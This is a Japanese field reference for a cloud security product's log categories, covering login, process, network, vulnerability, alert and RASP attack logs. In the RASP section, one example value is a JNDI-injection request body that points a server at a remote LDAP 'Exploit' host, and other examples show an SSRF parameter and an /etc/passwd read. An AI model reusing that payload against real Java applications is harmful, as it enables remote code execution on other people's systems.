Security Center:ログのカテゴリとフィールド

フィールド

説明

例

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

sas_group_name

Security Center におけるサーバーの資産グループ。

default

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

src_ip

サーバーへのログインに使用されたソース IP アドレス。

221.11.XX.XX

dst_port

ログインに使用されたポート。

22

login_type

ログインタイプ。値には、SSHLOGIN (SSH)、RDPLOGIN (リモートデスクトップ)、IPCLOGIN (IPC 接続) などが含まれますが、これらに限定されません。

SSH

username

ログインに使用されたユーザー名。

admin

login_count

ログイン回数。1 分以内の繰り返しのログインは 1 つのエントリにマージされます。たとえば、login_count が 3 の場合、過去 1 分間に 3 回のログインがあったことを示します。

3

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

auth_type

認証タイプ、文字列型。

• 1：パスワード認証。

• 2：キーベースの認証。

1

success

ログインが成功したかどうかを示します。値：1 (成功)、0 (失敗)。

1

pid

認証プロセスの PID。

12345

src_port

ログインの送信元ポート番号、文字列型。

43006

ssh_fingerprint

ログインに使用された SSH キーフィンガープリント、文字列型。キーベースの認証が使用された場合、このフィールドには対応するキーフィンガープリントが記録されます。パスワードベースの認証が使用された場合、このフィールドは空です。

SHA256:xxxxxxxxxxxx

フィールド

説明

例

cmd_chain

プロセスチェーン。

[ {"9883":"bash -c kill -0 -- -'6274'"} ... ]

cmd_chain_index

プロセスチェーンインデックス。このインデックスを使用して、対応するプロセスチェーンを検索します。

B184

container_hostname

コンテナ内のホスト名。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナ ID。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

コンテナイメージ ID。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

コンテナイメージ名。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナ名。

nginx-ingress-****

container_pid

コンテナ内のプロセス ID。

0

net_connect_dir

ネットワーク接続方向。値：in (インバウンド)、out (アウトバウンド)。

in

dst_ip

接続受信者の IP アドレス。net_connect_dir が out の場合、これはピアホストです。in の場合、これはローカルホストです。

192.168.XX.XX

dst_port

接続受信者のポート。

443

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

parent_proc_name

親プロセスのファイル名。

/usr/bin/bash

pid

プロセス ID。

14275

ppid

親プロセス ID。

14268

proc_name

プロセス名。

nginx

proc_path

プロセスパス。

/usr/local/nginx/sbin/nginx

proc_start_time

プロセスの起動時間。

該当なし

connection_type

プロトコル。値：tcp、raw (RAW ソケット)。

tcp

sas_group_name

Security Center におけるサーバーの資産グループ。

default

src_ip

ソース IP アドレス。

100.127.XX.XX

src_port

ソースポート。

41897

srv_comm

祖父プロセスに関連付けられたコマンド名。

containerd-shim

status

ネットワーク接続ステータス。値：1 (Closed)、2 (Listening)、3 (SYN sent)、4 (SYN received)、5 (Established)、6 (Close wait)、7 (Closing)、8 (FIN wait 1)、9 (FIN wait 2)、10 (Time wait)、11 (TCB deleted)。

5

type

リアルタイムネットワーク接続のタイプ。値：connect (アクティブな TCP 接続が開始された)、accept (TCP 接続が受信された)、listen (ポートがリッスン中)。

listen

uid

プロセスユーザーの ID。

101

username

プロセスのユーザー名。

root

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmd_chain

プロセスチェーン。

[ {"9883":"bash -c kill -0 -- -'6274'"} ... ]

cmd_chain_index

プロセスチェーンインデックス。このインデックスを使用して、対応するプロセスチェーンを検索します。

B184

cmd_index

コマンドライン内の各パラメータのインデックス。各値のペアは、パラメータの開始位置と終了位置を示します。

0,3,5,8

cmdline

プロセスの起動に使用された完全なコマンドライン。

ipset list KUBE-6-CLUSTER-IP

comm

プロセスに関連付けられたコマンド名。

該当なし

container_hostname

コンテナ内のホスト名。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナ ID。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

コンテナイメージ ID。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

コンテナイメージ名。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナ名。

nginx-ingress-****

container_pid

コンテナ内のプロセス ID。

0

cwd

プロセスの作業ディレクトリ。

該当なし

proc_name

プロセスファイル名。

ipset

proc_path

プロセスファイルの完全なパス。

/usr/sbin/ipset

gid

プロセスグループ ID。

0

groupname

ユーザーグループ名。

group1

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

parent_cmd_line

親プロセスのコマンドライン。

/usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf --hostname-override=cn-beijing.192.168.XX.XX

parent_proc_name

親プロセスのファイル名。

kube-proxy

parent_proc_path

親プロセスファイルの完全なパス。

/usr/local/bin/kube-proxy

pid

プロセス ID。

14275

ppid

親プロセス ID。

14268

proc_start_time

プロセスの起動時間。

2024-08-01 16:45:40

parent_proc_start_time

親プロセスの起動時間。

2024-07-12 19:45:19

sas_group_name

Security Center におけるサーバーの資産グループ。

default

srv_cmd

祖父プロセスのコマンドライン。

/usr/bin/containerd

tty

ログインターミナル。該当なしは、アカウントがターミナルに一度もログインしたことがないことを示します。

該当なし

uid

ユーザー ID。

123

username

プロセスのユーザー名。

root

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

ブルートフォース攻撃を受けているサーバーの IP アドレス。

192.168.XX.XX

sas_group_name

Security Center におけるサーバーの資産グループ。

default

uuid

ブルートフォース攻撃を受けているサーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12*****

login_count

失敗したログイン試行の回数。1 分以内の繰り返しの試行は 1 つのエントリにマージされます。たとえば、login_count が 3 の場合、過去 1 分間に 3 回の試行があったことを示します。

3

src_ip

ログイン試行のソース IP アドレス。

47.92.XX.XX

dst_port

ログインポート。

22

login_type

ログインタイプ。値：SSHLOGIN (SSH ログイン)、RDPLOGIN (リモートデスクトップログイン)、IPCLOGIN (IPC 接続ログイン)、SQLSERVER (SQL Server ログイン失敗)。

SSH

username

ログインユーザー名。

user

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

account_expire

アカウントの有効期限。値 never は、アカウントが期限切れにならないことを意味します。

なし

domain

アカウントが属するドメインまたはディレクトリサービス。該当なしは、アカウントがどのドメインにも属していないことを意味します。

該当なし

groups

アカウントが属するグループ。該当なしは、アカウントがどのグループにも属していないことを意味します。

["nscd"]

home_dir

ホームディレクトリ。システム内でファイルを保存および管理するためのデフォルトの場所。

/Users/abc

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

last_chg

パスワードが最後に変更された日付。

2022-11-29

last_logon

最終ログインの日時。該当なしは、アカウントがログインに使用されたことがないことを意味します。

2023-08-18 09:21:21

login_ip

最終ログインのリモート IP アドレス。該当なしは、アカウントがログインに使用されたことがないことを意味します。

192.168.XX.XX

passwd_expire

パスワードの有効期限。値 never は、パスワードが期限切れにならないことを意味します。

2024-08-24

perm

アカウントに root 権限があるかどうか。値：0 (root 権限なし)、1 (root 権限あり)。

0

sas_group_name

Security Center におけるサーバーの資産グループ。

default

shell

Linux シェル。

/sbin/nologin

status

ユーザーアカウントのステータス。値：0 (ログイン禁止)、1 (ログイン許可)。

0

tty

ログインターミナル。該当なしは、アカウントがターミナルに一度もログインしたことがないことを示します。

該当なし

username

ユーザー名。

nscd

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

warn_time

パスワード有効期限切れリマインダー日。値 never は、リマインダーが設定されていないことを意味します。

2024-08-20

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

net_connect_dir

ネットワーク接続方向。値：in (インバウンド)、out (アウトバウンド)。注意：ステータス 2 のログのみが配信されるため、net_connect_dir は常に in です。

in

dst_ip

ピア IP アドレス。通常は空です。注意：ステータス 2 のログのみが配信されるため、dst_ip は常に空 (ピア IP) であり、src_ip はローカル IP です。

dst_port

接続受信者のポート。

443

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

pid

プロセス ID。

682

proc_name

プロセス名。

sshd

connection_type

プロトコル。値：tcp4 (TCP over IPv4)、tcp6 (TCP over IPv6)。

tcp4

sas_group_name

Security Center におけるサーバーの資産グループ。

default

src_ip

ローカル IP アドレス。

100.127.XX.XX

src_port

リッスンポート。

41897

status

値は 2 で、ポートがリッスン中であることを示します。関連する src_ip/src_port はリッスンアドレスです。他のステータスは配信されません。残りの可能な値 (現在配信されていない)：1 (Closed)、3 (SYN sent)、4 (SYN received)、5 (Established)、6 (Close wait)、7 (Closing)、8 (FIN wait 1)、9 (FIN wait 2)、10 (Time wait)、11 (TCB deleted)。

5

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmdline

プロセスの起動に使用された完全なコマンドライン。

/usr/local/share/assist-daemon/assist_daemon

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

md5

バイナリファイルの MD5 ハッシュ。1 MB を超えるファイルは計算されません。

1086e731640751c9802c19a7f53a64f5

proc_name

プロセスファイル名。

assist_daemon

proc_path

プロセスファイルの完全なパス。

/usr/local/share/assist-daemon/assist_daemon

pid

プロセス ID。

1692

pname

親プロセスのファイル名。

systemd

sas_group_name

Security Center におけるサーバーの資産グループ。

default

proc_start_time

プロセスの起動時間。組み込みフィールド。

2023-08-18 20:00:12

uid

プロセスユーザー ID。

101

username

プロセスのユーザー名。

root

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

domain

DNS リクエストに対応するドメイン名。

example.aliyundoc.com

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

DNS リクエストを開始したサーバーの IP アドレス。

192.168.XX.XX

pid

DNS リクエストを開始したプロセス ID。

3544

ppid

DNS リクエストを開始した親プロセス ID。

3408

cmd_chain

DNS リクエストを開始したプロセスチェーン。

"3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""

cmdline

DNS リクエストを開始したコマンドライン。

C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe

proc_path

DNS リクエストを発行したプロセスのパス。

C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe

sas_group_name

Security Center におけるサーバーの資産グループ。

default

time

DNS リクエストイベントがキャプチャされた時刻。この時刻は通常、DNS リクエストの実際の発生時刻と一致します。

2023-08-17 20:05:04

uuid

DNS リクエストを開始したサーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

agent_version

クライアントのバージョン。

aegis_11_91

last_login

前回のログインのタイムスタンプ (ミリ秒単位)。

1716444387617

platform

オペレーティングシステムのタイプ。値：windows、linux。

linux

region_id

サーバーが存在するリージョン ID。

cn-beijing

status

クライアントのステータス。値：online、offline。

online

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

user_id

ユーザー ID。

123

host_ip

クライアントマシンの IP アドレス。

1.2.3.4

uuid

サーバーの UUID。

inet-eb7c23e9-1352-4f03-a1b3-73800d3524da

proc_list

モジュールをロードしたプロセスのリスト (JSON 形式)。

[{"path":"C:/Windows/System32/svchost.exe","cmdline":"...","pid":84,"md5":"..."}]

file_path

モジュールファイルパス。

c:\\windows\\system32\\msvcrt.dll

md5

モジュールの MD5 ハッシュ。

d80c5d199b7700b89dbdc52ab58c7519

sha256

モジュールの SHA256 ハッシュ。空の文字列は計算されていないことを示します。

file_size

モジュールのサイズ (バイト単位)。

800008

bin_create

モジュールの作成時刻。

2017-06-08 11:49:55

bin_modified

モジュールの最終変更時刻。

2014-10-29 11:06:28

source

ソースタイプの識別子。

5

start_time

ログ書き込みタイムスタンプ (秒単位、UNIX タイムスタンプ)。

1719472214

フィールド

説明

例

user_id

ユーザー ID。

123

host_ip

クライアントマシンの IP アドレス。

1.2.3.4

uuid

サーバーの UUID。

inet-eb7c23e9-1352-4f03-a1b3-73800d3524da

proc_path

ファイルを操作したプロセスのパス。

/home/shared/app_bin/maple_ffmpeg

cmdline

プロセスの完全なコマンドライン。

/home/shared/app_bin/maple_ffmpeg -y -threads 4 -i ...

event_type

ファイル操作のイベントタイプ (open や write など)。

open

file_path

操作されたファイルのパス。

/home/shared/app-video-trans/dbe36b1f-.../...

parent_proc_path

親プロセスの実行可能ファイルパス。

/usr/java/jdk1.8.0_171/bin/java

pid

プロセス ID。

882378

ppid

親プロセス ID。

1019718

pstime

親プロセスの起動時間。

2025-10-30 12:02:38

proc_start_time

プロセスの起動時間。

2025-10-30 12:02:38

cmd_chain

プロセス呼び出しチェーン (JSON 形式)。

[{"882378":"/home/shared/app_bin/maple_ffmpeg..."}]

cmd_chain_index

コマンドチェーンインデックス識別子。

P47948934

srv_cmd

関連するサービスのコマンドライン。

/usr/bin/python /usr/bin/supervisord -c /etc/supervisord.conf

srv_comm

関連するサービス名。

supervisord

flag

ファイル操作のフラグ値。

33345

old_file_path

名前変更または移動前の元のファイルパス。

username

操作を実行したユーザー名。

container_id

コンテナ ID。

container_name

コンテナ名。

container_hostname

コンテナ内のホスト名。

container_image_id

コンテナイメージ ID。

container_image_name

コンテナイメージ名。

start_time

ログ書き込みタイムスタンプ (秒単位、UNIX タイムスタンプ)。

1719472214

フィールド

説明

例

user_id

ユーザー ID。

123

host_ip

クライアントマシンの IP アドレス。

1.2.3.4

uuid

サーバーの UUID。

inet-eb7c23e9-1352-4f03-a1b3-73800d3524da

registry_key

操作されたレジストリキーパス。

\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\...

registry_value

レジストリキーの値。

該当なし

registry_type

レジストリキーのデータの型。

該当なし

key_account

レジストリ操作を実行したアカウント。

該当なし

proc_path

レジストリ操作を実行したプロセスのパス。

C:/Program Files (x86)/ManageEngine/UEMS_Agent/bin/DCProcessMonitor.exe

cmdline

プロセスのコマンドライン。

DCProcessMonitor.exe

pid

プロセス ID。

11060

ppid

プロセスの親プロセス ID。

2272

time

レジストリ操作が発生した時刻。

2025-11-12 10:32:42

start_time

ログ書き込みタイムスタンプ (秒単位、UNIX タイムスタンプ)。

1719472214

フィールド

説明

例

vul_alias_name

脆弱性のエイリアス。

CESA-2023:1335: openssl Security Update

risk_level

リスクレベル。値：asap (高)、later (中)、nntf (低)。

later

extend_content

拡張脆弱性情報 (JSON 形式)。

{"cveList":["CVE-2023-0286"],"necessity":{...},"os":"centos",...}

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

internet_ip

資産のパブリック IP アドレス。

39.104.XX.XX

intranet_ip

資産のプライベート IP アドレス。

192.168.XX.XX

instance_name

ホスト名。

hhht-linux-***

vul_name

脆弱性名。

centos:7:cesa-2023:1335

operation

脆弱性に対して実行されたアクション。値：new (新規)、verify (検証)、fix (修正)。

new

status

脆弱性のステータス。値：1 (未修正)、2 (修正失敗)、3 (ロールバック失敗)、4 (修正中)、5 (ロールバック中)、6 (検証中)、7 (修正済み)、8 (修正済み、再起動が必要)、9 (ロールバック済み)、10 (無視)、11 (ロールバック済み、再起動が必要)、12 (存在しない)、13 (無効)。

1

tag

脆弱性タグ。値にはoval（Linux ソフトウェアの脆弱性）、system（Windows システムの脆弱性）、app（アプリケーションの脆弱性）があり、その他の種類の脆弱性のタグはランダムな文字列です。

oval

type

脆弱性タイプ。値：sys (Windows システムの脆弱性)、cve (Linux ソフトウェアの脆弱性)、emg (緊急の脆弱性)。

sys

uuid

サーバーの UUID。

ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

check_item_name

確認項目の名前。

Set minimum interval for password changes

check_item_level

ベースラインチェックの深刻度レベル。値：high (高)、medium (中)、low (低)。

medium

check_type

確認項目のタイプ。

Identity authentication

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

risk_level

リスクレベル。値：high (高)、medium (中)、low (低)。

medium

operation

操作。値：new (新規)、verity (検証)。

new

risk_name

リスク項目の名前。

Password policy compliance check

sas_group_name

リスク項目が検出された Security Center のサーバーの資産グループ。

default

status

ステータス情報。2 つのステータスコードセットが適用されます：ベースラインチェックステータス：1 (失敗)、2 (検証中)、6 (無視)、7 (修正中)。処理ステータス：1 (未修正)、2 (修正失敗)、3 (ロールバック失敗)、4 (修正中)、5 (ロールバック中)、6 (検証中)、7 (修正済み)、8 (修正済み、再起動が必要)、9 (ロールバック済み)、10 (無視)、11 (ロールバック済み、再起動が必要)、12 (存在しない)、13 (無効)。

1

sub_type_alias_name

サブタイプのエイリアス。

International security best practices - Ubuntu 16/18/20/22 security baseline check

sub_type_name

ベースラインのサブタイプ名。有効な値については、「ベースラインのタイプとサブタイプのリスト」をご参照ください。

hc_ubuntu16_cis_rules

type_alias_name

タイプのエイリアス。

International security best practices

type_name

ベースラインタイプ。有効な値については、「ベースラインのタイプとサブタイプのリスト」をご参照ください。

cis

uuid

リスク項目が検出されたサーバーの UUID。

1ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

data_source

データソース。値：aegis_suspicious_event (ホスト異常)、aegis_suspicious_file_v2 (Webshell)、aegis_login_log (異常ログイン)、honeypot (クラウドハニーポットアラートイベント)、object_scan (ファイル検知異常)、security_event (Security Center 異常)、sas_ak_leak (AK 漏洩イベント)。

aegis_login_log

detail

詳細なアラートコンテキストを提供する構造化オブジェクト (JSON)。フィールドはアラートタイプによって異なります。alert_reason フィールドの一般的な値：reason1 (IP が一般的なログイン場所からではない)、reason2 (API 呼び出しが失敗)、reason3 (IP が一般的なログイン場所からではなく、API 呼び出しが失敗)。

{"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root",...}

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

internet_ip

資産のパブリック IP アドレス。

39.104.XX.XX

intranet_ip

資産のプライベート IP アドレス。

192.168.XX.XX

level

アラートイベントのリスクレベル。値：serious (緊急)、suspicious (不審)、remind (リマインダー)。

suspicious

name

アラート名。

Anomalous Logon - ECS Unusual Account Logon

operation

操作。値：new (新規)、dealing (処理中)、update (更新済み)。

new

status

アラートステータス。値：1 (未処理、新規アラートのデフォルト)、2 (無視、無視アクション実行後)、8 (ホワイトリスト登録済み、ホワイトリスト追加後)、16 (処理中、プロセス終了/ファイル隔離/ホワイトリストアクション中)、32 (処理済み、手動処理後またはプロセス終了/ファイル隔離アクション完了後)、64 (期限切れ、30 日以内にアクションが取られない場合)、513 (自動ブロック済み、アラートは Security Center の精密防御機能によって自動的にブロックされており、手動処理は不要)。

1

unique_info

アラートの一意の識別子。

2536dd765f804916a1fa3b9516b5****

uuid

アラートが生成されたサーバーの UUID。

ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

suspicious_event_id

アラートイベント ID。

650226318

handle_time

操作に対応するタイムスタンプ。

1765272845

alert_first_time

アラートが最初に表示されたときのタイムスタンプ。

1764226915

alert_last_time

アラートが最後に表示されたときのタイムスタンプ。

1765273425

strict_mode

アラートが厳格モードであるかどうかを示します。値：true、false。

true

user_id

アカウント ID。

1358******3357

フィールド

説明

例

check_id

確認項目 ID。ListCheckResult 操作を呼び出すことでこの ID を取得できます。

11

check_item_name

確認項目の名前。

Origin fetch configuration

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

instance_name

インスタンス名。

lsm

instance_result

リスクの影響 (JSON 文字列)。

{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,...}]}

instance_sub_type

インスタンスのサブタイプ。instance_type によって値が異なります：ECS の場合：INSTANCE、DISK、SECURITY_GROUP。ACR の場合：REPOSITORY_ENTERPRISE、REPOSITORY_PERSON。RAM の場合：ALIAS、USER、POLICY、GROUP。WAF の場合：DOMAIN。その他のタイプの場合：INSTANCE。

INSTANCE

instance_type

インスタンスタイプ。値：ECS (Elastic Compute Service)、SLB (Server Load Balancer)、RDS (ApsaraDB RDS)、MONGODB (ApsaraDB for MongoDB)、KVSTORE (ApsaraDB for Redis)、ACR (Container Registry)、CSK、VPC (Virtual Private Cloud)、ACTIONTRAIL (ActionTrail)、CDN (Content Delivery Network)、CAS (Certificate Management Service)、RDC (Apsara DevOps)、RAM (Resource Access Management)、DDoS (Anti-DDoS)、WAF (Web Application Firewall)、OSS (Object Storage Service)、PolarDB (PolarDB)、POSTGRESQL (ApsaraDB RDS for PostgreSQL)、MSE (Microservices Engine)、NAS (File Storage NAS)、SDDP (Sensitive Data Discovery and Protection)、EIP (Elastic IP Address)。

ECS

region_id

インスタンスが存在するリージョン ID。

cn-hangzhou

requirement_id

要件 ID。ListCheckStandard 操作を呼び出すことでこの ID を取得できます。

5

risk_level

リスクレベル。値：LOW、MEDIUM、HIGH。

MEDIUM

section_id

セクション ID。ListCheckResult 操作を呼び出すことでこの ID を取得できます。

1

standard_id

標準 ID。ListCheckStandard 操作を呼び出すことでこの ID を取得できます。

1

status

確認項目のステータス。値：NOT_CHECK (未チェック)、CHECKING (チェック中)、PASS (合格)、NOT_PASS (不合格)、WHITELIST (ホワイトリスト登録済み)。

PASS

vendor

クラウドサービスプロバイダー。固定値：ALIYUN。

ALIYUN

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmd

攻撃されたプロセスのコマンドライン。

nginx: master process nginx

cur_time

攻撃イベントが発生した時刻。

2023-09-14 09:21:59

decode_payload

HEX から文字に変換されたペイロード。

POST /Services/FileService/UserFiles/

dst_ip

攻撃された資産の IP アドレス。

172.16.XX.XX

dst_port

攻撃された資産のポート。

80

func

インターセプトされたイベントのタイプ。値：payload (悪意のあるペイロードのインターセプト、悪意のあるデータまたはコマンドの検出によってトリガー)、tuple (悪意のある IP のインターセプト、悪意のある IP アクセスの検出によってトリガー)。

payload

rule_type

インターセプトされたイベントの特定のルールタイプ。値：alinet_payload (Security Center によって定義されたペイロードイベント防御ルール)、alinet_tuple (Security Center によって定義されたタプルイベント防御ルール)。

alinet_payload

instance_id

攻撃された資産のインスタンス ID。

i-2zeg4zldn8zypsfg****

internet_ip

攻撃された資産のパブリック IP アドレス。

39.104.XX.XX

intranet_ip

攻撃された資産のプライベート IP アドレス。

192.168.XX.XX

final_action

防御アクション。固定値：block (ブロック済み)。

block

payload

HEX 形式のペイロード。

504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****

pid

攻撃されたプロセスの ID。

7107

platform

攻撃された資産のシステムタイプ。値：windows、linux。

linux

proc_path

攻撃されたプロセスのパス。

/usr/sbin/nginx

sas_group_name

Security Center におけるサーバーの資産グループ。

default

src_ip

攻撃のソース IP アドレス。

106.11.XX.XX

src_port

攻撃のソースポート。

29575

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

app_dir

アプリケーションが存在するディレクトリ。

/usr/local/aegis/rasp/apps/1111

app_id

アプリケーション ID。

6492a391fc9b4e2aad94****

app_name

アプリケーション名。

test

confidence_level

検出アルゴリズムの信頼度。値：high、medium、low。

low

request_body

リクエストボディ。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}

request_content_length

リクエストボディの長さ。

112

data

フックポイントのパラメータ。

{"cmd":"bash -c kill -0 -- -'31098' "}

headers

リクエストヘッダー。

{"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial",...}

hostname

ホストまたはネットワークデバイスの名前。

testhostname

host_ip

ホストのプライベート IP アドレス。

172.16.XX.XX

is_cliped

ログが長さ制限を超えたために切り捨てられたかどうかを示します。値：true (切り捨てられた)、false (切り捨てられていない)。

false

jdk_version

JDK のバージョン。

1.8.0_292

message

アラートの説明。

Unsafe class serial.

request_method

HTTP リクエストメソッド。

Post

platform

オペレーティングシステムのタイプ。

Linux

arch

オペレーティングシステムのアーキテクチャ。

amd64

kernel_version

オペレーティングシステムのカーネルバージョン。

3.10.0-1160.59.1.el7.x86_64

param

リクエストパラメータ。一般的な形式には、GET パラメータや application/x-www-form-urlencoded が含まれます。

{"url":["http://127.0.0.1.xip.io"]}

payload

有効な攻撃ペイロード。

bash -c kill -0 -- -'31098'

payload_length

攻撃ペイロードの長さ。

27

rasp_id

RASP プローブの一意の ID。

fa00223c8420e256c0c98ca0bd0d****

rasp_version

RASP プローブのバージョン。

0.8.5

src_ip

リクエスタの IP アドレス。

172.0.XX.XX

final_action

アラートの処理結果。値：block (ブロック済み)、monitor (監視中)。

block

rule_action

ルールで指定されたアラート処理方法。値：block、monitor。

block

risk_level

リスクレベル。値：high、medium、low。

high

stacktrace

スタックトレース。

[java.io.FileInputStream.<init>(FileInputStream.java:123), ...]

time

アラートがトリガーされた時刻。

2023-10-09 15:19:15

timestamp

アラートがトリガーされたときのタイムスタンプ (ミリ秒単位)。

1696835955070

type

攻撃タイプ。値：attach (悪意のあるアタッチ)、beans (悪意のある beans バインディング)、classloader (悪意のあるクラスローディング)、dangerous_protocol (危険なプロトコルの使用)、dns (悪意のある DNS クエリ)、engine (エンジンインジェクション)、expression (式インジェクション)、file (悪意のあるファイルの読み書き)、file_delete (任意のファイル削除)、file_list (ディレクトリトラバーサル)、file_read (任意のファイル読み取り)、file_upload (悪意のあるファイルアップロード)、jndi (JNDI インジェクション)、jni (JNI インジェクション)、jstl (JSTL 任意のファイルインクルード)、memory_shell (インメモリウェブシェルインジェクション)、rce (リモートコード実行)、read_object (デシリアライゼーション攻撃)、reflect (悪意のあるリフレクション)、sql (SQL インジェクション)、ssrf (悪意のあるアウトバウンド接続)、thread_inject (スレッドインジェクション)、xxe (XXE 攻撃)。

rce

url

リクエスト URL。

http://127.0.0.1:999/xxx

rasp_attack_uuid

攻撃イベントの UUID。

18823b23-7ad4-47c0-b5ac-e5f036a2****

uuid

ホストの UUID。

23f7ca61-e271-4a8e-bf5f-165596a16****

internet_ip

ホストのパブリック IP アドレス。

1.2.XX.XX

intranet_ip

ホストのプライベート IP アドレス。

172.16.XX.XX

sas_group_name

Security Center サーバーグループ名。

Group 1

instance_id

ホストのインスタンス ID。

i-wz995eivg28f1m**

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

bucket_name

OSS バケット名。

***-test

event_id

アラート ID。

802210

event_name

アラート名。

Mining program

md5

ファイルの MD5 ハッシュ。

6bc2bc******53d409b1

sha256

ファイルの SHA256 ハッシュ。

f038f9525******7772981e87f85

result

検出結果。値：0 (ファイルは安全)、1 (悪意のあるファイルを検出)。

0

file_path

ファイルパス。

test.zip/bin_test

etag

OSS ファイル識別子。

6BC2B******853D409B1

risk_level

リスクレベル。値：serious (緊急)、suspicious (不審)、remind (リマインダー)。

remind

source

検出シナリオ。値：OSS (Security Center コンソール経由での OSS バケット内のファイル検出)、API (Java または Python SDK 経由での悪意のあるファイル検出)。

OSS

parent_md5

親ファイルまたはアーカイブファイルの MD5 ハッシュ。

3d0f8045bb9******

parent_sha256

親ファイルまたはアーカイブファイルの SHA256 ハッシュ。

69b643d6******a3fb859fa

parent_file_path

親ファイルまたはアーカイブファイルの名前。

test.zip

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

compress_file_number

アーカイブ内のサブファイルのシーケンス番号。[現在]/[合計] の形式。たとえば、1/10 はアーカイブ内の 10 ファイルのうちの 1 番目のファイルであることを意味します。

1/10

フィールド

説明

例

start_time

イベントの最新発生時刻 (秒単位)。

1718678414

uuid

クライアントの UUID。

5d83b26b-b**a-4**a-9267-12****

file_path

ファイルパス。

/etc/passwd

proc_path

プロセスパス。

/usr/bin/bash

rule_id

一致したルールの ID。

123

rule_name

ルール名。

file_test_rule

cmdline

コマンドライン。

bash /opt/a

operation

ファイルに対して実行された操作。

READ

risk_level

アラートレベル。

2

pid

プロセス ID。

45324

proc_permission

プロセス権限。

rwxrwxrwx

instance_id

インスタンス ID。

i-wz995eivg2****

internet_ip

パブリック IP アドレス。

192.0.2.1

intranet_ip

プライベート IP アドレス。

172.16.0.1

